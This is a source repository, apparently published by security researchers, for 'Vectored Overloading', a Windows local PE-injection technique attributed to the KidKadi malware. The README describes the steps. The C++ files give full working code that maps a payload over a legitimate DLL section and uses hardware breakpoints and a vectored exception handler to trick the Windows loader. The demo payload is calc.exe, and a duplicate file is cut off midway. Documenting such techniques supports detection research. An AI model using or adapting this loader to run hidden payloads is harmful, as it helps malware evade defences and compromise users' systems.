├── CODEOWNERS ├── manifest.json ├── VectoredOverloading.vcxproj.user ├── VectoredOverloading.vcxproj.filters ├── LICENSE ├── README.md ├── VectoredOverloading.sln ├── VectoredOverloading.vcxproj ├── VectoredOverloading.cpp └── main.cpp /CODEOWNERS: -------------------------------------------------------------------------------- 1 | # Global owner for everything 2 | * @chkp-elism 3 | # Code owner 4 | *.js @chkp-svenr 5 | package.json @chkp-svenr 6 | # LICENSE owner 7 | LICENSE @chkp-liavt 8 | -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "manifest_version": 1, 4 | "name": "VectorOverloading", 5 | "version": "1.0", 6 | "description": "Vectored Overloading is a local PE injection technique", 7 | } 8 | -------------------------------------------------------------------------------- /VectoredOverloading.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /VectoredOverloading.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Check Point Software Technologies Ltd. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VectoredOverloading 2 | 3 | Vectored Overloading is a local PE injection technique that was first observed in the *KidKadi* malware. 4 | 5 | It works by manipulating the load of a legitimate DLL using Hardware Breakpoints (HWBP) and Vectored Exception Handling (VEH) to change the DLL section object on-the-fly. 6 | 7 | Essentially, the technique does the following: 8 | 9 | * Creates a `SEC_IMAGE` mapping from a legitimate DLL (e.g. `wmp.dll`) 10 | * Maps a payload PE over this image memory 11 | * Sets its entrypoint to `0` and forces the `DLL` flag in the `FileHeader->Characteristics` field 12 | * Sets a HWBP on `NtOpenSection` & loads any legitimate DLL 13 | * When the Windows loader calls `NtOpenSection`, the VEH emulates the syscall by skipping it and replacing the `OUT` parameters, so that section object is now that of the payload. The VEH also sets a new HWBP on `NtMapViewOfSection` 14 | * The loader tries to map the section into memory and then triggers the VEH on `NtMapViewOfSection` 15 | * The VEH replaces the `OUT` parameters of the syscall and skips its execution, emulating a mapping of the malicious PE's view 16 | * The loading proceeds and the Windows loader now takes care of handling imports and further processing of the malicious PE image 17 | * The entrypoint is invoked, executing the payload 18 | 19 | For a more detailed analysis, please refer to our blogpost: 20 | -------------------------------------------------------------------------------- /VectoredOverloading.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.14.36429.23 d17.14 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VectoredOverloading", "VectoredOverloading.vcxproj", "{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.ActiveCfg = Debug|x64 17 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.Build.0 = Debug|x64 18 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.Build.0 = Debug|Win32 20 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.ActiveCfg = Release|x64 21 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.Build.0 = Release|x64 22 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.ActiveCfg = Release|Win32 23 | {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {5551E9BB-ED31-48B9-8057-1CE8FD010B60} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /VectoredOverloading.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {b6eb6c3e-7aef-4c18-84ea-b75bb64e5df1} 25 | VectoredOverloading 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | 100 | 101 | Level3 102 | true 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | 110 | 111 | 112 | 113 | Level3 114 | true 115 | true 116 | true 117 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /VectoredOverloading.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #if defined(_WIN32) && !defined(_WIN64) 7 | #error This project must be compiled as 64-bit (x64). 32-bit build is not supported. 8 | #endif 9 | 10 | #define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS) 11 | #define DR_TYPE UINT64 12 | 13 | typedef enum _SECTION_INHERIT 14 | { 15 | ViewShare = 1, 16 | ViewUnmap = 2 17 | } SECTION_INHERIT; 18 | 19 | #pragma comment(lib, "ntdll.lib") 20 | 21 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 22 | 23 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert); 24 | 25 | EXTERN_C NTSYSAPI NTSTATUS NTAPI 26 | NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); 27 | 28 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection( 29 | HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect 30 | ); 31 | 32 | enum LdrState 33 | { 34 | StateOpenSection = 0, 35 | StateMapViewOfSection, 36 | StateClose 37 | }; 38 | 39 | // --------------------------------------------------------------------------------------------------- 40 | 41 | LdrState gLdrState = LdrState::StateOpenSection; 42 | SIZE_T gViewSize = 0; 43 | PVOID gBaseAddress = NULL; 44 | HANDLE gSectionHandle = NULL; 45 | 46 | BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) 47 | { 48 | if (ctx) 49 | { 50 | ctx->Dr7 = 1LL; 51 | ctx->Dr0 = (DWORD64)address; 52 | NtContinue(ctx, FALSE); 53 | } 54 | else 55 | { 56 | // Default to current thread if no context was given 57 | CONTEXT context = { 0 }; 58 | context.ContextFlags = CTX_FLAGS; 59 | 60 | HANDLE hThread = GetCurrentThread(); 61 | 62 | if (!GetThreadContext(hThread, &context)) 63 | return FALSE; 64 | 65 | context.Dr7 = 1; 66 | context.Dr0 = (DWORD64)address; 67 | 68 | if (!SetThreadContext(hThread, &context)) 69 | return FALSE; 70 | } 71 | return TRUE; 72 | } 73 | 74 | LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo) 75 | { 76 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) 77 | { 78 | CONTEXT* ctx = ExceptionInfo->ContextRecord; 79 | 80 | switch (gLdrState) 81 | { 82 | case LdrState::StateOpenSection: 83 | { 84 | printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); 85 | 86 | // Overwrite OUT handle 87 | *(PHANDLE)ctx->Rcx = gSectionHandle; 88 | 89 | // Skip syscall 90 | ctx->Rax = 0; 91 | BYTE* rip = (BYTE*)ctx->Rip; 92 | while (*rip != 0xC3) ++rip; 93 | ctx->Rip = (ULONG_PTR)(rip); 94 | 95 | // Advance state and set next HWBP 96 | gLdrState = LdrState::StateMapViewOfSection; 97 | SetHardwareBreakpoint(NtMapViewOfSection, ctx); 98 | NtContinue(ctx, FALSE); 99 | return EXCEPTION_CONTINUE_EXECUTION; 100 | } 101 | break; 102 | 103 | case LdrState::StateMapViewOfSection: 104 | { 105 | printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); 106 | if ((HANDLE)ctx->Rcx != gSectionHandle) 107 | return EXCEPTION_CONTINUE_EXECUTION; 108 | printf(" Section handle is ours\r\n"); 109 | 110 | // Replace OUT parameters 111 | PVOID* baseAddrPtr = (PVOID*)ctx->R8; 112 | PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); 113 | ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); 114 | ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); 115 | 116 | if (baseAddrPtr) 117 | *baseAddrPtr = gBaseAddress; 118 | if (viewSizePtr) 119 | *viewSizePtr = gViewSize; 120 | 121 | *allocTypePtr = 0; 122 | *protectPtr = PAGE_EXECUTE_READWRITE; 123 | 124 | // Skip syscall 125 | ctx->Rax = 0; 126 | BYTE* rip = (BYTE*)ctx->Rip; 127 | while (*rip != 0xC3) ++rip; 128 | ctx->Rip = (ULONG_PTR)(rip); 129 | 130 | // Unset HWBP 131 | ctx->Dr0 = 0LL; 132 | ctx->Dr1 = 0LL; 133 | ctx->Dr2 = 0LL; 134 | ctx->Dr3 = 0LL; 135 | ctx->Dr6 = 0LL; 136 | ctx->Dr7 = 0LL; 137 | ctx->EFlags |= 0x10000u; 138 | 139 | NtContinue(ctx, FALSE); 140 | return EXCEPTION_CONTINUE_EXECUTION; 141 | break; 142 | } 143 | } 144 | 145 | NtContinue(ctx, FALSE); 146 | return EXCEPTION_CONTINUE_EXECUTION; 147 | } 148 | } 149 | 150 | BOOL 151 | ApplyRelocations( 152 | PBYTE base, 153 | SIZE_T imageSize, 154 | ULONGLONG newBase, 155 | ULONGLONG oldBase 156 | ) 157 | { 158 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; 159 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); 160 | 161 | ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; 162 | if (!delta) 163 | return TRUE; 164 | 165 | IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 166 | if (!relocDir.VirtualAddress || !relocDir.Size) 167 | return TRUE; 168 | 169 | SIZE_T processed = 0; 170 | PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); 171 | 172 | while (processed < relocDir.Size && block->SizeOfBlock) 173 | { 174 | DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 175 | WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); 176 | 177 | for (DWORD i = 0; i < count; i++, entry++) 178 | { 179 | WORD type = *entry >> 12; 180 | WORD offset = *entry & 0xFFF; 181 | BYTE* patchAddr = base + block->VirtualAddress + offset; 182 | 183 | if (type == IMAGE_REL_BASED_HIGHLOW) 184 | *(DWORD*)patchAddr += (DWORD)delta; 185 | else if (type == IMAGE_REL_BASED_DIR64) 186 | *(ULONGLONG*)patchAddr += delta; 187 | } 188 | processed += block->SizeOfBlock; 189 | block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); 190 | } 191 | return TRUE; 192 | } 193 | 194 | BOOL 195 | CopyImageSections( 196 | PBYTE sourceBuffer, 197 | PVOID baseAddress, 198 | SIZE_T viewSize 199 | ) 200 | { 201 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; 202 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); 203 | 204 | // Copy headers 205 | SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; 206 | memcpy(baseAddress, sourceBuffer, headersSize); 207 | 208 | // Copy sections 209 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); 210 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) 211 | { 212 | if (sec->SizeOfRawData == 0) 213 | continue; 214 | 215 | BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; 216 | BYTE* src = sourceBuffer + sec->PointerToRawData; 217 | SIZE_T size = sec->SizeOfRawData; 218 | 219 | if ((sec->VirtualAddress + size) > viewSize) 220 | size = viewSize - sec->VirtualAddress; 221 | 222 | memcpy(dst, src, size); 223 | } 224 | return TRUE; 225 | } 226 | 227 | BOOL 228 | ApplySectionProtections( 229 | PVOID baseAddress 230 | ) 231 | { 232 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; 233 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); 234 | 235 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); 236 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) 237 | { 238 | DWORD protect; 239 | DWORD old; 240 | 241 | if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) 242 | { 243 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) 244 | protect = PAGE_EXECUTE_READWRITE; 245 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ) 246 | protect = PAGE_EXECUTE_READ; 247 | else 248 | protect = PAGE_EXECUTE; 249 | } 250 | else 251 | { 252 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) 253 | protect = PAGE_READWRITE; 254 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ) 255 | protect = PAGE_READONLY; 256 | else 257 | protect = PAGE_NOACCESS; 258 | } 259 | 260 | PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; 261 | SIZE_T size = sec->Misc.VirtualSize; 262 | if (!size) 263 | size = sec->SizeOfRawData; 264 | 265 | VirtualProtect(addr, size, protect, &old); 266 | } 267 | return TRUE; 268 | } 269 | 270 | int 271 | main() 272 | { 273 | DWORD oldProt; 274 | DWORD bytesRead; 275 | 276 | // Read PE to inject (calc.exe) into buffer 277 | HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 278 | if (hCalc == INVALID_HANDLE_VALUE) 279 | { 280 | printf("[-] Failed to open calc.exe\n"); 281 | return 1; 282 | } 283 | DWORD fileSize = GetFileSize(hCalc, NULL); 284 | BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); 285 | ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); 286 | CloseHandle(hCalc); 287 | 288 | // Parse headers of PE to inject 289 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; 290 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); 291 | 292 | // Force DLL characteristics and zero out entrypoint 293 | DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; 294 | if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) 295 | { 296 | nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; 297 | nt->OptionalHeader.AddressOfEntryPoint = 0; 298 | } 299 | 300 | // Create SEC_IMAGE section from wmp.dll 301 | HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 302 | if (hWmp == INVALID_HANDLE_VALUE) 303 | { 304 | printf("[-] Failed to open wmp.dll\n"); 305 | return 1; 306 | } 307 | 308 | NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); 309 | CloseHandle(hWmp); 310 | if (status < 0) 311 | { 312 | printf("[-] NtCreateSection failed: 0x%08X\n", status); 313 | return 1; 314 | } 315 | 316 | status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); 317 | if (status < 0) 318 | { 319 | printf("[-] NtMapViewOfSection failed: 0x%08X\n", status); 320 | return 1; 321 | } 322 | 323 | // Make headers and image of wmp.dll writeable and wipe it 324 | VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); 325 | memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); 326 | 327 | // Copy headers and sections from PE to inject into the section 328 | CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); 329 | HeapFree(GetProcessHeap(), 0, pTargetPeBuf); 330 | 331 | // Apply relocations & section protections 332 | ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); 333 | ApplySectionProtections(gBaseAddress); 334 | 335 | printf("[*] Section ready:\n"); 336 | printf(" BaseAddress = %p\n", gBaseAddress); 337 | printf(" ViewSize = %zu\n", gViewSize); 338 | printf(" Section = %p\n", gSectionHandle); 339 | 340 | // Register VEH and set HWBP 341 | PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); 342 | SetHardwareBreakpoint(NtOpenSection, NULL); 343 | 344 | // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow 345 | HMODULE base = LoadLibraryW(L"amsi.dll"); 346 | if (!base) 347 | { 348 | printf("[-] Failed to load library\n"); 349 | return 1; 350 | } 351 | printf("[*] Loaded at 0x%llx\r\n", base); 352 | RemoveVectoredExceptionHandler(InjectHandler); 353 | 354 | // Invoke entrypoint 355 | PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; 356 | printf("[*] Jumping to entrypoint at %p\n", entryPoint); 357 | ((void (*)())entryPoint)(); 358 | return 0; 359 | } -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #if defined(_WIN32) && !defined(_WIN64) 7 | #error This project must be compiled as 64-bit (x64). 32-bit build is not supported. 8 | #endif 9 | 10 | #define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS) 11 | #define DR_TYPE UINT64 12 | 13 | typedef enum _SECTION_INHERIT 14 | { 15 | ViewShare = 1, 16 | ViewUnmap = 2 17 | } SECTION_INHERIT; 18 | 19 | #pragma comment(lib, "ntdll.lib") 20 | 21 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 22 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert); 23 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); 24 | EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect); 25 | 26 | enum LdrState 27 | { 28 | StateOpenSection = 0, 29 | StateMapViewOfSection, 30 | StateClose 31 | }; 32 | 33 | // --------------------------------------------------------------------------------------------------- 34 | 35 | LdrState gLdrState = LdrState::StateOpenSection; 36 | SIZE_T gViewSize = 0; 37 | PVOID gBaseAddress = NULL; 38 | HANDLE gSectionHandle = NULL; 39 | 40 | BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) 41 | { 42 | if (ctx) 43 | { 44 | ctx->Dr7 = 1LL; 45 | ctx->Dr0 = (DWORD64)address; 46 | NtContinue(ctx, FALSE); 47 | } 48 | else 49 | { 50 | // Default to current thread if no context was given 51 | CONTEXT context = { 0 }; 52 | context.ContextFlags = CTX_FLAGS; 53 | 54 | HANDLE hThread = GetCurrentThread(); 55 | 56 | if (!GetThreadContext(hThread, &context)) 57 | return FALSE; 58 | 59 | context.Dr7 = 1; 60 | context.Dr0 = (DWORD64)address; 61 | 62 | if (!SetThreadContext(hThread, &context)) 63 | return FALSE; 64 | } 65 | return TRUE; 66 | } 67 | 68 | LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo) 69 | { 70 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) 71 | { 72 | CONTEXT* ctx = ExceptionInfo->ContextRecord; 73 | 74 | switch (gLdrState) 75 | { 76 | case LdrState::StateOpenSection: 77 | { 78 | printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); 79 | 80 | // Overwrite OUT handle 81 | *(PHANDLE)ctx->Rcx = gSectionHandle; 82 | 83 | // Skip syscall 84 | ctx->Rax = 0; 85 | BYTE* rip = (BYTE*)ctx->Rip; 86 | while (*rip != 0xC3) ++rip; 87 | ctx->Rip = (ULONG_PTR)(rip); 88 | 89 | // Advance state and set next HWBP 90 | gLdrState = LdrState::StateMapViewOfSection; 91 | SetHardwareBreakpoint(NtMapViewOfSection, ctx); 92 | NtContinue(ctx, FALSE); 93 | return EXCEPTION_CONTINUE_EXECUTION; 94 | } 95 | break; 96 | 97 | case LdrState::StateMapViewOfSection: 98 | { 99 | printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); 100 | if ((HANDLE)ctx->Rcx != gSectionHandle) 101 | return EXCEPTION_CONTINUE_EXECUTION; 102 | printf(" Section handle is ours\r\n"); 103 | 104 | // Replace OUT parameters 105 | PVOID* baseAddrPtr = (PVOID*)ctx->R8; 106 | PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); 107 | ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); 108 | ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); 109 | 110 | if (baseAddrPtr) 111 | *baseAddrPtr = gBaseAddress; 112 | if (viewSizePtr) 113 | *viewSizePtr = gViewSize; 114 | 115 | *allocTypePtr = 0; 116 | *protectPtr = PAGE_EXECUTE_READWRITE; 117 | 118 | // Skip syscall 119 | ctx->Rax = 0; 120 | BYTE* rip = (BYTE*)ctx->Rip; 121 | while (*rip != 0xC3) ++rip; 122 | ctx->Rip = (ULONG_PTR)(rip); 123 | 124 | // Unset HWBP 125 | ctx->Dr0 = 0LL; 126 | ctx->Dr1 = 0LL; 127 | ctx->Dr2 = 0LL; 128 | ctx->Dr3 = 0LL; 129 | ctx->Dr6 = 0LL; 130 | ctx->Dr7 = 0LL; 131 | ctx->EFlags |= 0x10000u; 132 | 133 | NtContinue(ctx, FALSE); 134 | return EXCEPTION_CONTINUE_EXECUTION; 135 | break; 136 | } 137 | } 138 | 139 | NtContinue(ctx, FALSE); 140 | return EXCEPTION_CONTINUE_EXECUTION; 141 | } 142 | } 143 | 144 | BOOL 145 | ApplyRelocations( 146 | PBYTE base, 147 | SIZE_T imageSize, 148 | ULONGLONG newBase, 149 | ULONGLONG oldBase 150 | ) 151 | { 152 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; 153 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); 154 | 155 | ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; 156 | if (!delta) 157 | return TRUE; 158 | 159 | IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 160 | if (!relocDir.VirtualAddress || !relocDir.Size) 161 | return TRUE; 162 | 163 | SIZE_T processed = 0; 164 | PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); 165 | 166 | while (processed < relocDir.Size && block->SizeOfBlock) 167 | { 168 | DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 169 | WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); 170 | 171 | for (DWORD i = 0; i < count; i++, entry++) 172 | { 173 | WORD type = *entry >> 12; 174 | WORD offset = *entry & 0xFFF; 175 | BYTE* patchAddr = base + block->VirtualAddress + offset; 176 | 177 | if (type == IMAGE_REL_BASED_HIGHLOW) 178 | *(DWORD*)patchAddr += (DWORD)delta; 179 | else if (type == IMAGE_REL_BASED_DIR64) 180 | *(ULONGLONG*)patchAddr += delta; 181 | } 182 | processed += block->SizeOfBlock; 183 | block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); 184 | } 185 | return TRUE; 186 | } 187 | 188 | BOOL 189 | CopyImageSections( 190 | PBYTE sourceBuffer, 191 | PVOID baseAddress, 192 | SIZE_T viewSize 193 | ) 194 | { 195 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; 196 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); 197 | 198 | // Copy headers 199 | SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; 200 | memcpy(baseAddress, sourceBuffer, headersSize); 201 | 202 | // Copy sections 203 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); 204 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) 205 | { 206 | if (sec->SizeOfRawData == 0) 207 | continue; 208 | 209 | BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; 210 | BYTE* src = sourceBuffer + sec->PointerToRawData; 211 | SIZE_T size = sec->SizeOfRawData; 212 | 213 | if ((sec->VirtualAddress + size) > viewSize) 214 | size = viewSize - sec->VirtualAddress; 215 | 216 | memcpy(dst, src, size); 217 | } 218 | return TRUE; 219 | } 220 | 221 | BOOL 222 | ApplySectionProtections( 223 | PVOID baseAddress 224 | ) 225 | { 226 | 